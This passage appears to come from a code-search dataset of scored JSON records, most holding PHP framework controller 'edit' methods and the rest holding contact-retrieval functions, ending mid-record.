}", "title": "" }, { "docid": "a695b4f4340bb78a765476c7a7b02c4c", "score": "0.68351203", "text": "public function edit()\n {\n return view('clientapp::edit');\n }", "title": "" }, { "docid": "adf61d4898780a2aa20a30a370bf081a", "score": "0.68262005", "text": "public function edit()\n {\n return view('backend.student.edit-student');\n }", "title": "" }, { "docid": "3372ef1cca9be765c71b7e1a923b6a90", "score": "0.6819939", "text": "public function editAction()\n {\n $command = $this->determineCommand();\n\n return parent::edit(\n $this->formClass,\n $this->itemDto,\n new GenericItem($this->itemParams),\n $command,\n $this->mapperClass,\n $this->editViewTemplate,\n $this->editSuccessMessage,\n $this->editContentTitle\n );\n }", "title": "" }, { "docid": "09bc92e7496673078d971abc033ed6e3", "score": "0.6818449", "text": "public function edit(FormBuilder $formBuilder, $id)\n {\n $this->checkAccess('edit');\n $model = $this->model->find($id);\n\n $form = $formBuilder->create($this->form, [\n 'method' => 'PUT',\n 'url' => route($this->url . '.update', $id),\n 'model' => $model\n ]);\n\n return view($this->folder . '.form', [\n 'title' => $this->title,\n 'form' => $form,\n 'row' => $model,\n 'breadcrumb' => 'new-' . $this->url\n ]);\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "c526ad3c763ee29db74bb4c3f3f52b67", "score": "0.6804702", "text": "public function edit($id)\n {\n $crud = crud_entry(\\App\\Employee::findOrFail($id));\n\n return view('crud::scaffold.bootstrap3-form', ['crud' => $crud]);\n }", "title": "" }, { "docid": "b2548057b424e6a5cacb6db19ee658ae", "score": "0.68022823", "text": "public function edit()\n {\n return view('api::edit');\n }", "title": "" }, { "docid": "3b2bff17656413d9e096fd6442febe9d", "score": "0.6799307", "text": "public function edit($id) {\n $model = new $this->model;\n $field = $model::find($id);\n return view('admin.' . strtolower($this->controller) . '.edit', compact('field'));\n }", "title": "" }, { "docid": "8dbc4c95d40c6dfa50e357491b0a9faf", "score": "0.6798952", "text": "public function fieldEditAction() {\n parent::fieldEditAction();\n\n //GENERATE FORM\n $form = $this->view->form;\n\n if ($form) {\n\n $form->setTitle('Edit Profile Question');\n $form->removeElement('show');\n $form->addElement('hidden', 'show', array('value' => 0));\n $display = $form->getElement('display');\n $display->setLabel('Show on profile page?');\n\n $display->setOptions(array('multiOptions' => array(\n 1 => 'Show on profile page',\n 0 => 'Hide on profile page'\n )));\n\n $search = $form->getElement('search');\n $search->setLabel('Show on the search options?');\n\n $search->setOptions(array('multiOptions' => array(\n 0 => 'Hide on the search options',\n 1 => 'Show on the search options'\n )));\n }\n }", "title": "" }, { "docid": "4087a9ccdc917123a199f319773aca51", "score": "0.67941463", "text": "public function edit($id)\n {\n $class = $this->model_class;\n $this->data['object'] = $class::find($id);\n\n return View(\"$his->view_folder.form\" , $this->data);\n }", "title": "" }, { "docid": "6f369193d74b243d60195f45f4014a7d", "score": "0.67852414", "text": "public function edit()\n {\n return view('quanlymua::edit');\n }", "title": "" }, { "docid": "de733d13625d2e27b579a67d4dd0e5cb", "score": "0.67832476", "text": "public function getEdit()\n {\n //\n $id = Input::get('id');\n $model = new $this->model;\n $model = $model->find($id);\n return $this->viewMake('form.create', ['model'=> $model]);\n }", "title": "" }, { "docid": "80357935025ac73c8b779d2b96017dee", "score": "0.67724776", "text": "public function edit($id) {\n $name = $this->name;\n $config = $this->config;\n $model = $this->config->find($id);\n $form = new Form($model);\n $this->config->editForm($form, $model);\n return View::make(static::editViewName(), compact('id', 'name', 'config', 'model', 'form'));\n }", "title": "" }, { "docid": "14492a7ddf825dfc7ae7f6d4686195bb", "score": "0.676403", "text": "protected function edit()\r\n\t{\r\n\t\tglobal $tpl, $ilTabs, $ilCtrl, $lng;\r\n\t\t\r\n\t\t$ilTabs->clearTargets();\r\n\t\t$ilCtrl->setParameter($this, \"prt_id\", \"\");\r\n\t\t$ilTabs->setBackTarget($lng->txt(\"back\"),\r\n\t\t\t$ilCtrl->getLinkTarget($this, \"show\"));\r\n\t\t$ilCtrl->setParameter($this, \"prt_id\", $this->portfolio->getId());\r\n\t\t\r\n\t\t$this->setPagesTabs();\r\n\t\t$ilTabs->activateTab(\"edit\");\r\n\r\n\t\t$form = $this->initForm(\"edit\");\r\n\r\n\t\t$tpl->setContent($form->getHTML());\r\n\t}", "title": "" }, { "docid": "ec74296c4873a04773215f9df3ec56e8", "score": "0.6763203", "text": "public function edit()\n {\n return view('product::edit');\n }", "title": "" }, { "docid": "1ea4682e5ca05d82dc786fe9356d4f95", "score": "0.6761149", "text": "public function edit($id)\n {\n $employee = Employee::find($id);\n\n return view('admin.employee.form', [\n 'agent_info' => $employee->agent_info,\n 'block' => false,\n 'employee' => $employee,\n 'user' => $employee->user,\n ]);\n }", "title": "" }, { "docid": "5bf37156a011a54f8d1f89ba96911864", "score": "0.67593914", "text": "public function edit(Form $form)\n {\n return view('forms.edit',compact('form'));\n }", "title": "" }, { "docid": "63cbd5995cf95e846b6f36e8000a815a", "score": "0.6754102", "text": "public function editAction()\n {\n $this->_forward('new');\n }", "title": "" }, { "docid": "2895169fb35860c9a4a9caa42b6a0a87", "score": "0.6742777", "text": "public function edit($id)\n {\n\t\t$d['data'] = Product::find($id);\n\t\t$d['action'] = route('product.update', $id);\n\t\treturn view('back.pages.product.form', $d);\n }", "title": "" }, { "docid": "ff2840a2ada11fccc572361d76303fac", "score": "0.6741958", "text": "function edit()\r\n\t{\r\n\t\tJRequest::setVar( 'view', 'individual' );\r\n\t\tJRequest::setVar( 'layout', 'form' );\r\n\t\tJRequest::setVar( 'hidemainmenu', 1);\r\n\r\n\t\tparent::display();\r\n\t}", "title": "" }, { "docid": "668b7d8579ddada4536a4181f3e08041", "score": "0.6737808", "text": "public function edit()\n {\n return view('rekanan::edit');\n }", "title": "" }, { "docid": "550b8c0565e8d9d85d89dd1064a7c513", "score": "0.6727721", "text": "public function edit()\n {\n return view('americano::edit');\n }", "title": "" }, { "docid": "ccaae343a137f9e31b8e70fe6ec59921", "score": "0.6716282", "text": "public function editAction()\n {\n $id = (int) $this->params()->fromRoute('id', 0);\n $book = $this->getBookTable()->getBook($id);\n \n $form = new BookForm();\n $form->bind($book);\n $form->get('submit')->setValue('Edit');\n\n $request = $this->getRequest();\n // Check If Request Is Post Verb\n if ($request->isPost()) {\n\n $form->setInputFilter($book->getInputFilter());\n $form->setData($request->getPost());\n \n if ($form->isValid()) {\n \n $this->getBookTable()->saveBook($book);\n // redirect to list of Books\n return $this->redirect()->toRoute('book');\n }\n }\n\n return new ViewModel(array(\n 'id' => $id,\n 'form' => $form\n ));\n }", "title": "" }, { "docid": "1110a6c85644f6c97ab354fc802c4a0e", "score": "0.67075413", "text": "public function edit($id)\n {\n\t\t$params = [\n\t\t\t'data' => $this->repository->findById($id),\n\t\t];\n\n\t\treturn view('admin.pages.supplier-form-update', ['page' => 'supplier'])->with($params);\n\t}", "title": "" }, { "docid": "1cca59891cd9a1a8eab0c4cfa3efec29", "score": "0.6705557", "text": "public function edit()\n {\n $work = Work::find($_GET['id']);\n $data = array('work' => $work);\n $this->render('edit', $data);\n }", "title": "" }, { "docid": "a880aa2a9bbdd8e600e961cc44a30611", "score": "0.6704717", "text": "public function actionEdit()\n\t{\n\t\t\\Yii::$app->response->format = \\yii\\web\\Response::FORMAT_JSON;\n\t\t\n\t\t$request = \\Yii::$app->getRequest();\n\t\t\n\t\t//Initial vars\n\t\t$html = '';\n\t\t$msg = Yii::t('messages', 'Failure!');\n\t\t\n\t\t//Check request is ajax\n\t\tif($request->isAjax)\n\t\t{\n\t\t\t//Get POST data\n\t\t\t$post = Yii::$app->request->post();\n\t\t\t$id = (isset($post['item'])) ? intval($post['item']) : '';\n\t\t\t\n\t\t\t//Check id\n\t\t\tif($id > 0)\n\t\t\t{\n\t\t\t\t//Get model data\n\t\t\t\t$model = $this->findModel($id);\n\t\t\t\t\n\t\t\t\t//Get form for displaying in page\n\t\t\t\t$html = $this->renderAjax('partial/edit_form', [\n\t\t\t\t\t'model' => $model,\n\t\t\t\t\t'id' => $id\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ['html' => $html, 'msg' => $msg];\n\t}", "title": "" }, { "docid": "40a0f532b30525e860441d9398256e57", "score": "0.6702148", "text": "public function edit()\n\t{\n\t\t$fb = App::make('formbuilder');\n\t\t$fb->route('user.update');\n\t\t$fb->method('put');\n\t\t$fb->model(Sentry::getUser());\n\t\t$fb->text('email')->label('E-mail address');\n\t\t$fb->password('password')->label('Choose a password');\n\t\t$fb->text('username')->label('Choose a username');\n\t\t$form = $fb->build();\n\n return View::make('user.edit', compact('form'));\n\t}", "title": "" }, { "docid": "e3ff61e18a508ad865596d2d7979c61c", "score": "0.66910356", "text": "public function edit($id)\n {\n $title = 'EDITAR REGISTRO';\n $user = formulario::find($id);\n return view('forms.edit',compact('user','title'));\n }", "title": "" }, { "docid": "6593cfdb18f1cef76f37b77910191c1a", "score": "0.6690261", "text": "public static function edit()\n {\n $record = todos::findOne($_REQUEST['id']);\n\n self::getTemplate('edit_task', $record);\n\n }", "title": "" }, { "docid": "4f71399e4c8f08115a843f3eea8564c0", "score": "0.6683238", "text": "public function edit($id)\n {\n //no web interface form.\n }", "title": "" }, { "docid": "f7c6f8c80580ed4b41cc600395910e73", "score": "0.668285", "text": "public function edit($id)\n\t{\n\t\treturn view('jobform', ['job' => Job::find($id)]);\n\t}", "title": "" }, { "docid": "6c0376e096733d3b0fa90503eef2434b", "score": "0.6677822", "text": "public function edit()\n {\n return view('bangunan::edit');\n }", "title": "" }, { "docid": "559ede1cbea107ac064ad8b6596ece86", "score": "0.66762877", "text": "public function editAction($id)\n {\n $entity = $this->getRepository('Alumni')->find($id);\n $this->forward404UnlessExist($entity);\n\n $editForm = $this->createForm(new AlumniType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->renderTwig('Master/Alumni:form', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "0a9012acf11e6cf51d612505152fb4b1", "score": "0.66761804", "text": "function edit()\n{\n\tif (isset($_GET['id'])) {\n\t$id = $_GET['id'];\n\t}\n\t// If post is submit then \n\tif (isset($_POST['submit'])) {\n\n\t\t$specie = $_POST['name'];\n\t\teditSpecie($specie, $id);\n\t}\n\t$specie = getSpecie($id);\n\trender('specie/edit', array(\"specie\" => $specie));\n}", "title": "" }, { "docid": "98c3057a696eb14943e7e5fea5851c0b", "score": "0.6665287", "text": "public function edit($id)\n {\n return $this->showForm($id);\n }", "title": "" }, { "docid": "b4bcae16b256bb23707dba844fd207b0", "score": "0.6656474", "text": "public static function edit()\n {\n $record = todos::findOne($_REQUEST['id']);\n self::getTemplate('edit_task', $record);\n \n }", "title": "" }, { "docid": "6af50c7db28916d7c5fb1b181a5a08f3", "score": "0.6653586", "text": "public function edit($id)\n\t{\n $form_data = ['route' => [self::$prefixRoute . 'update', $this->patient->id], 'method' => 'PUT', 'files' => 'true'];\n\n return view(self::$prefixView . 'form', compact('form_data'))\n \t->with(['patient' => $this->patient, 'occupations' => $this->occupations,\n \t\t'genders' => $this->genders, 'doc_types' => $this->doc_types]);\n\t}", "title": "" }, { "docid": "e251c12edf60b44bfb7f0149c27bd6fb", "score": "0.6651207", "text": "public function edit()\n {\n return view('wage::edit');\n }", "title": "" }, { "docid": "a39d1bedc4c3fd6b0b645b643c26dd0d", "score": "0.66507", "text": "public function edit($id)\n {\n $data = Employee::where('id', $id)->first();\n\n return view('master.form.employee-form', compact('data'));\n }", "title": "" }, { "docid": "75e95fc5ea1762bde4210a296e9c267f", "score": "0.6649592", "text": "public function edit()\n {\n return view('spereport::edit');\n }", "title": "" }, { "docid": "f7bd52c4216f50ae40e29aa9291a3153", "score": "0.66463226", "text": "public function edit($id) {}", "title": "" }, { "docid": "2c86f1804737a94386a0a9ecc5c6ef5f", "score": "0.66418463", "text": "public function editAction ()\n\t{\n\t $id = $this->params()->fromRoute('id');\n\t \n\t $form = $this->form;\n\t\n\t // Get the record by its id\n\t $rsevent = $this->eventService->find($id);\n\n\t\tif(empty($rsevent)){\n\t $this->flashMessenger()->setNamespace('danger')->addMessage('The record has been not found!');\n\t return $this->redirect()->toRoute('events');\n\t }\n\n\t\t// Bind the data in the form\n\t if (! empty($rsevent)) {\n\t $form->bind($rsevent);\n\t }\n\t \n\t $viewModel = new ViewModel(array (\n\t 'form' => $form,\n\t 'event' => $rsevent,\n\t ));\n\t\n\t $viewModel->setTemplate('events/myevents/form');\n\t return $viewModel;\n\t}", "title": "" }, { "docid": "68951ca772c50059eed3598272a55a04", "score": "0.6640842", "text": "public function edit($id)\n {\n $product = $this->product->find($id);\n \n return view('backend.products.form', compact('product'));\n }", "title": "" }, { "docid": "c315ed6d4c45ae50df17c5c88e6e7d1b", "score": "0.66360766", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('ExploticFormationBundle:Programme')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Programme entity.');\n }\n\n $editForm = $this->createForm(new ProgrammeType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('ExploticFormationBundle:Programme:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "d75ec83a50e710b9d72084a319e7792e", "score": "0.66327494", "text": "public function edit($id)\n {\n $groups = Group::all();\n $resource = Resource::find($id);\n\n return view('resources.edit', compact('resource', 'groups'));\n }", "title": "" }, { "docid": "263a6d0205704b8194e7dfa98591df9b", "score": "0.6631315", "text": "public function edit($id)\n {\n $post = Resident::find($id);\n return view('Resident.update',compact('post'));\n }", "title": "" }, { "docid": "2c16ec446fe0f98e637b9db6f176c314", "score": "0.66312844", "text": "public function edit() {\n\t\treturn view('menunodes::edit');\n\t}", "title": "" }, { "docid": "bfc930933e9f3e9d06498ce4cba6f6d7", "score": "0.6628591", "text": "public function edit($id)\n {\n $model = Penyakit::findOrFail ($id);\n return view('penyakit.form', compact('model'));\n }", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627662", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "6c7bf6b61cccd78f9bdd9fe827ba971e", "score": "0.66228884", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('FaqBundle:Faq')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Faq entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('FaqBundle:Faq:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "8bc6a12adfcb55f0d15b83ee616716b8", "score": "0.66190886", "text": "public function edit()\n\n {\n\n return view('petro::edit');\n }", "title": "" }, { "docid": "4ff556dfbe00e2d7a94424804ebd14e3", "score": "0.6617852", "text": "public function editAction(){\n $id = $this->request->get('id');\n\n if($id === null){\n $product = new Product();\n }\n else{\n $product = $this->productService->getProductById($id);\n\n if(empty($product)){\n return $this->redirect($this->generateUrl('product_dashboard'));\n }\n }\n\n $form = $this->createForm(new ProductType(), $product);\n\n if($this->request->isMethod('POST')){\n $form->handleRequest($this->request);\n\n if($form->isValid()){\n\n $product->setAuthor($this->getUser());\n $this->productService->save($product);\n\n return $this->redirect($this->generateUrl('product_view', array(\n 'id' => $product->getId()\n )));\n }\n }\n\n return $this->render('AppBundle:Product:edit.html.twig', array(\n 'form' => $form->createView()\n ));\n }", "title": "" }, { "docid": "fbedcf2a06421ca46ad8913d5241677f", "score": "0.6610915", "text": "public function edit($pid)\n {\n $page = Page::find($pid);\n\n //$resources = $page->resources;\n \n return view('backend.page.edit', [ 'page' => $page ]);\n }", "title": "" }, { "docid": "cbe6404e0b856f507d216614da279133", "score": "0.6604817", "text": "public function edit($id)\n {\n $data = $this->model::findOrFail($id);\n return view($this->masterViews.$this->routeName.'.form', [\n 'data' => $data\n ]);\n }", "title": "" }, { "docid": "f650ecccdc3bc04d40c14326ca38a218", "score": "0.65994453", "text": "public function edit()\r\r {\r\r $this->page_title->push(lang('company_edit'));\r\r $this->data['pagetitle'] = $this->page_title->show();\r\r\r /* Breadcrumbs :: Common */\r\r $this->breadcrumbs->unshift(1, lang('company_edit'), 'admin/client/company/edit');\r\r\r /* Breadcrumbs */\r\r $this->data['breadcrumb'] = $this->breadcrumbs->show();\r\r\r /* Data */\r\r $this->data['error'] = NULL;\r\r $this->data['charset'] = 'utf-8';\r\r $this->data['form_url'] = 'admin/client/company/update';\r\r\r /* Load Template */\r\r $this->template->admin_render('admin/companies/edit', $this->data);\r\r\r }", "title": "" }, { "docid": "4cbc72aea8193be8560ed0067ce3d4c0", "score": "0.6599022", "text": "protected function edit()\n {\n $this->index();\n\n $this->manager->register('edit', function (BreadcrumbsGenerator $breadcrumbs) {\n $breadcrumbs->parent('index');\n\n $breadcrumbs->push(trans('administrator::module.action.edit', [\n 'resource' => $this->module->singular(),\n 'instance' => $this->presentEloquent(),\n ]), null);\n });\n }", "title": "" }, { "docid": "815fc178547c2d0d001ea48b96ac28de", "score": "0.65963316", "text": "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MyAppFrontBundle:Recommandation')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Recommandation entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MyAppFrontBundle:Recommandation:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "52f52954a41b6894d59ede21ba179876", "score": "0.6592572", "text": "public function edit($id)\n\t{\n $form_data = ['route' => [self::$prefixRoute . 'update', $this->inventary->id], 'method' => 'PUT'];\n\n return view(self::$prefixView . 'form', compact('form_data'))\n \t->with(['inventary' => $this->inventary,\n \t\t\t'presentation' => $this->presentation,\n \t\t\t'medicament' => $this->medicament,\n \t\t\t'measure' => $this->measure]);\n\t}", "title": "" }, { "docid": "25924f3d76afc3161783024ff1fd4760", "score": "0.65920466", "text": "public function edit() {\n\t\tif(!is_numeric($this->intFieldID) || empty($this->intFieldID)) {\n\t\t\t// Shows form interface\n\t\t\t$this->objSmarty->assign('ALERT_MSG','You must choose an item to update!');\n\t\t\t$this->_create();\n\t\t\texit();\n\t\t}\n\t\t\n\t\t// Gets Field Data\n\t\t$this->getFieldData();\n\t\t$this->objSmarty->assign('objField',$this->objField);\n\t\n\t\t// Gets Fields List\n\t\t$this->getFieldList();\n\t\t$this->objSmarty->assign('objData',$this->objData);\n\t\t\n\t\t// Shows interface\n\t\t$this->renderTemplate(true,$this->strModule . '_form.html');\n\t}", "title": "" }, { "docid": "4d84262d451772dea46e8a483cc70202", "score": "0.6590121", "text": "public function edit(FarmerFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "title": "" }, { "docid": "6560ccaab1f3afa48d06c1b0ef34fde3", "score": "0.65884537", "text": "public function edit (Person $person){\n return view('person/form', ['action'=>'edit', 'data'=>$person]);\n }", "title": "" }, { "docid": "0725b077de449824aa68932fd4c06e1e", "score": "0.6585609", "text": "public function edit($id)\n\t{\n\t\tView::share('action', 'edit');\n\t\t$this->book = Book::with('author')->findOrFail($id);\n\t\t$this->layout->content = View::make('book/edit')->with('book', $this->book);\n\t}", "title": "" }, { "docid": "0a559309f2a48b4e6e1f531aeecd4b3a", "score": "0.6580553", "text": "public function edit($id)\n {\n //\n \n if(Auth::user()->isAdmin()) {\n $product = Product::find($id);\n return view('products.edit_form') -> with('product', $product) -> with('manufacturers', Manufacturer::all());\n } else {\n \n session()->flash('danger', 'You do not have right to edit the product.');\n \n }\n return redirect()->back();\n }", "title": "" }, { "docid": "70e3eeb150905e8b48dd4b8560cfe424", "score": "0.65800774", "text": "public function edit($id)\n\t{\n\t\t$permission = Company::getPermission();\n if(@$permission->modifica) {\n\t\t\t$company = Company::find($id);\n\t\t\tif(!$company instanceof Company) {\n\t\t\t\tApp::abort(404);\t\n\t\t\t}\t\n\n\t return View::make('core.companys.form')->with(['company' => $company]);\n\t\t}else{\n return View::make('core.denied'); \n }\n\t}", "title": "" }, { "docid": "5eeda893f9563e6e4d9ef7aac6ef14dd", "score": "0.6577146", "text": "public function edit($id)\n {\n // get the product\n $product = Product::find($id);\n\n // show the edit form and pass the product\n return view()->make('product.editProduct')->with('product', $product);\n }", "title": "" }, { "docid": "81d2968d7fc0142efbb22b2c81fc3c03", "score": "0.6576812", "text": "public function edit()\n {\n return view('panel::edit');\n }", "title": "" }, { "docid": "102b804d3fdc24125875b01f5339096a", "score": "0.65714765", "text": "public function edit($id)\n {\n return view('form.edit', Form::findorfail($id));\n }", "title": "" }, { "docid": "adf8a8a4d2598db563e5a217bbdba3cd", "score": "0.6570653", "text": "public\n\tfunction edit() {\n\t\treturn view('roles::edit');\n\t}", "title": "" }, { "docid": "a651c6517dc564dd0eb52196153145f4", "score": "0.65690035", "text": "public function edit($id)\n {\n $company = Company::find($id);\n\n return view('admin.company.form', [\n 'company' => $company,\n 'route' => ['admin.company.update', $company->id],\n 'method' => 'PUT',\n ]);\n }", "title": "" }, { "docid": "ab321968ce813a175af5fb95680495f5", "score": "0.65660435", "text": "public function edit($id)\n {\n return view('backend::edit');\n }", "title": "" }, { "docid": "68da20be5e82039c2fba4910c44d49f6", "score": "0.6563766", "text": "public function edit($id)\n {\n $student = DB::table('students')->find($id);\n return View('editform', ['student'=>$student ]);\n }", "title": "" }, { "docid": "f5e66e76e12762a9390e895ff8b010a1", "score": "0.6561447", "text": "public function edit($id)\n {\n return view('crm::edit');\n }", "title": "" }, { "docid": "f5e66e76e12762a9390e895ff8b010a1", "score": "0.6561447", "text": "public function edit($id)\n {\n return view('crm::edit');\n }", "title": "" }, { "docid": "9542e5826079257d8519ea97a2407767", "score": "0.655709", "text": "public function edit($id)\n\t{\n return View::make('admin.factures.edit');\n\t}", "title": "" }, { "docid": "6987df20900f4239114ffa9e8e511dad", "score": "0.65556246", "text": "public function edit($id)\n {\n extract($this->getResourceNames());\n\n $item = $modelPath::findOrFail($id);\n\n $form = $this->getEditForm($id, $item);\n\n return $this->compileView($resourceMultiple . '.edit', ['form' => $form, $resourceSingular => $item]);\n }", "title": "" } ]
73c18b6e2ff2ed7da40f55b7bb417032
retrieving contact by params
[ { "docid": "eac5bdc7108ad2d4734ea79f0208b420", "score": "0.6142499", "text": "public function getContacts($params = [])\n {\n return $this->call('contacts?' . $this->setParams($params));\n }", "title": "" } ]
[ { "docid": "ad403dc8823a92b32d93a364c04b50db", "score": "0.71843195", "text": "public function getContact();", "title": "" }, { "docid": "9066c0bcb4c9a13dbd6ab257ea502433", "score": "0.6678103", "text": "public function getContact(){\n return $this->getParameter('contact');\n }", "title": "" }, { "docid": "688b0f5af1fed4ffdd2c63b46fac2fa3", "score": "0.64840466", "text": "function search($arg)\n\t{\n\t\tif (empty($arg['type'])) {\n\t\t\tthrow new \\Exception('Invalid Contact Type [CBC-080]');\n\t\t}\n\n\t\tswitch (strtoupper($arg['type'])) {\n\t\t\tcase 'CUSTOMER':\n\t\t\tcase 'PATIENT':\n\t\t\t\t// /**\n\t\t\t\t// * Lookup a Customer or Patient in the RBE\n\t\t\t\t// * @param string $mp Medical Patient\n\t\t\t\t// * @param string $cg Care Giver\n\t\t\t\t// */\n\t\t\t\t// function card_lookup($mp, $cg)\n\t\t\t\t// {\n\t\t\t\t// \t$arg = array(\n\t\t\t\t// \t\t'action' => 'card_lookup',\n\t\t\t\t// \t\t'card_id' => $mp,\n\t\t\t\t// \t\t'caregiver_card_id' => $cg,\n\t\t\t\t// \t);\n\t\t\t\t// \t$res = $this->_curl_exec($arg);\n\t\t\t\t// \treturn $res;\n\t\t\t\t// }\n\t\t\t\tbreak;\n\t\t\tcase 'EMPLOYEE':\n\t\t\t\tbreak;\n\t\t}\n\t}", "title": "" }, { "docid": "d1f6c1f9b7943a6a93cae5f843690515", "score": "0.6281263", "text": "function getContactById($id)\n{\n return getContacts()[$id];\n}", "title": "" }, { "docid": "b80c5be1c49bf5c82736bd737c1a705e", "score": "0.620593", "text": "function contactinfo_get()\n\t{\n\t\t$this->load->library('system');\n\t\t \n\t\t$contact_number = $this->system->company_mobile;\n\t\t\n\t\t//$contact_number\t=\tarray(\"test\");\n\t\tif($contact_number) {\n\t\t\t$this->response($contact_number, 200); // 200 being the HTTP response code\n\t\t} else {\n\t\t\t$this->response(array('error' => 'Couldn\\'t find any $contact_number!'), 404);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "86a74b2f830e23eccd97ead7261885b5", "score": "0.61462104", "text": "public function getContact() \n\t{\n\t\t$contactData = $this->api_model->getContactData('tbl_pages','contact');\n\t\tif($contactData){\n\t\t\tforeach($contactData as $contact){\n\t\t\t\t$contactArr[] = array(\n\t\t\t\t\t'title' => $contact->page_title,\n\t\t\t\t\t'description' => $contact->page_content,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tif($contactArr){\n\t\t\t$this->apiResponse('success', 200,$contactArr);\n\t\t}else{\n\t\t\t$this->apiResponse('No records found.', 404);\n\t\t}\n\t}", "title": "" }, { "docid": "19bbb67778e983edc05d7a495196d898", "score": "0.6143129", "text": "function view($params)\n {\n if (preg_match(\"/^email=/\", $params))\n {\n $action = \"contact_view_email\";\n } elseif (preg_match(\"/^hash=/\", $params))\n {\n $action = \"contact_view_hash\";\n } elseif (preg_match(\"/^id=/\", $params))\n {\n $action = \"contact_view\";\n } else\n {\n // default\n $action = \"contact_view\";\n }\n $request_url = \"{$this->url}&api_action={$action}&api_output={$this->output}&{$params}\";\n $response = $this->curl($request_url);\n return $response;\n }", "title": "" }, { "docid": "6ad7dc3f5b7b24bf971148583935439b", "score": "0.6021755", "text": "function getContact( $options=array() )\n\t{\n\t\t$query\t= $this->_getContactQuery( $options );\n\t\t$result = $this->_getList( $query );\n\t\treturn @$result[0];\n\t}", "title": "" }, { "docid": "a22d899624d6a7d46461dcd3912a069f", "score": "0.5951752", "text": "public function getCustomerContact(Logon $logon, $companyCode, $arDivisionNo, $customerNo, $contactCode);", "title": "" }, { "docid": "2121c1ab6710d6340b781c8aa73c60c1", "score": "0.59146297", "text": "function QuYuNet_GetContactDetails($params){\n $API = new QuYuNet_API($params['api_email'], $params['api_key']);\n $data = $API->simpleCall('POST', array(\n 'action'\t\t=> 'GetContactDetails',\n 'sld'\t\t=> $params[\"sld\"],\n 'tld'\t\t=> $params[\"tld\"],\n ));\n\n if($data['result']=='success'){\n unset($data['result']);\n $new = array();\n foreach($data as $key=>$val){\n foreach($val as $k => $v){\n $new[$key][str_replace('_', ' ',$k)] = $v;\n }\n }\n\n return $new;\n } else\n return array('error'=>$API->getError());\n\n}", "title": "" }, { "docid": "0d4a8be402be35c861075f5cc022819c", "score": "0.5873897", "text": "function civicrm_api3_dgw_phone_get($inparms) {\n // BOS1307269 introduce api Config class\n $apiConfig = CRM_Utils_ApiConfig::singleton();\n $thuisLocationTypeId = $apiConfig->locationThuisId;\n $thuisLocationType = $apiConfig->locationThuis;\n /*\n * initialize output parameter array\n */\n $outparms = array(\"\");\n $civiparms = array (\n 'version' => 3,\n );\n\n /*\n * if contact_id empty and phone_id empty, error\n */\n if (!isset($inparms['contact_id']) && !isset($inparms['phone_id'])) {\n return civicrm_api3_create_error(\"Geen contact_id of phone_id doorgegeven in\n dgwcontact_phoneget.\");\n }\n if (empty($inparms['contact_id']) && empty($inparms['phone_id'])) {\n return civicrm_api3_create_error(\"Contact_id en phone_id allebei leeg in\n dgwcontact_phoneget.\");\n }\n /*\n * if contact_id is used and contains non-numeric data, error\n */\n if (!empty($inparms['contact_id'])) {\n if (!is_numeric($inparms['contact_id'])) {\n return civicrm_api3_create_error(\"Contact_id bevat ongeldige waarde in\n dgwcontact_phoneget.\");\n } else {\n $civiparms['contact_id'] = $inparms['contact_id'];\n }\n }\n /*\n * if phone_id is used and contains non-numeric data, error\n */\n if (!empty($inparms['phone_id']) && !is_numeric($inparms['phone_id'])) {\n return civicrm_api3_create_error(\"Phone_id bevat ongeldige waarde in\n dgwcontact_phoneget.\");\n } else if (!empty($inparms['phone_id'])) {\n $civiparms['phone_id'] = $inparms['phone_id'];\n unset($civiparms['contact_id']); //phone id is use to request a specific phonenumber\n }\n /**\n * Use the phone api\n */\n $civires1 = civicrm_api('phone', 'get', $civiparms);\n if (civicrm_error($civires1)) {\n return civicrm_api3_create_error($civires1['error_message']);\n }\n $i = 1;\n foreach ($civires1['values'] as $result) {\n /* Get location type name */\n // BOS1307269\n if ($result['location_type_id'] == $thuisLocationTypeId) {\n $locationType = $thuisLocationType;\n } else {\n $locationType = CRM_Utils_DgwApiUtils::getLocationByid($result['location_type_id']);\n }\n $result['location_type'] = $locationType;\n /* Get phone type name */\n $civiparms3 = array('version' => 3, 'id' => $result['phone_type_id']);\n $civires3 = civicrm_api('OptionValue', 'getsingle', $civiparms3);\n $sequence = array('contact_id', 'phone_id', 'location_type', 'is_primary', 'phone_type', 'phone', 'start_date', 'end_date');\n if 